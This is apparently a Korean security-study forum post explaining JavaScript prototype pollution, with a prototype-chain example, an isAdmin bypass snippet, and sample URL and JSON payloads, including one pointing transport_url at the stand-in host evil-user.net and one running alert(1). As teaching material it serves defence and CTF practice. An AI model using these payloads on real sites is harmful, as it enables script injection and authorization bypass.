연구실:Web

Javascript Prototype Pollution

작성자 정보

  • j4zzmaster 작성
  • 작성일

컨텐츠 정보

본문

 

객체지향 언어 Javascript

Javascript는 객체지향 언어이고, prototype이라는 것을 이용해서 상속 기능을 구현했다.

 

Javascript Prototype Chain

Javascript에서 객체의 부모는 __proto__로 접근할 수 있다.

다른 언어와 동일하게 자식 객체에서 변수를 찾을 수 없으면 상속 전 부모 객체에서 해당 변수를 찾는다.

Javascript에서 이것을 Prototype Chain이라고 부른다.

 

var t1 = {
        name: 'aaaa'
}

var t2 = {
        age: '20'
}

t2.__proto__ = t1;

t2.name // 'aaaa'

 

Javascript Prototype Pollution

Javascript 객체지향 기술인 Prototype Chain을 통해 로직을 우회하거나 공격자가 원하는 코드를 실행하도록 하는 공격

let A = {num: 10};

let user = {
        name: 'za9uar',
        age:20,
}

A.__proto__.isAdmin = true; // Prototype Pollution

if (user.isAdmin) {
        console.log(`${user.name} is admin`);
}

 

__proto__를 사용하여 상위로 Chain하는 예시

username.__proto__
username['__proto__']
username.__proto__
username.__proto__.__proto__
username.__proto__.__proto__.__proto__

 

URL을 통한 Prototype Pollution 예시

https://vulnerable-website.com/?__proto__[evilProperty]=payload
https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//

 

JSON을 통한 Prototype Pollution 예시

{
    "__proto__": {
        "evilProperty": "payload"
    }
}

* TIP) JSON.parse() 메서드는 JSON 객체의 모든 키를 임의의 문자열로 처리한다.

 

Layer7 CTF 2023 - TEST 문제

(필요 시 연락주세요)

 

※ 참조
https://ufo.stealien.com/2020-12-23/javascript-prototype-pollution
https://portswigger.net/web-security/prototype-pollution
https://portswigger.net/web-security/prototype-pollution/javascript-prototypes-and-inheritance

관련자료

댓글 1

captainjack님의 댓글

  • captainjack
  • 작성일
오 PP  !!
Dreamhack 문제 중에 filestorage라는 문제도 추천드립니다!!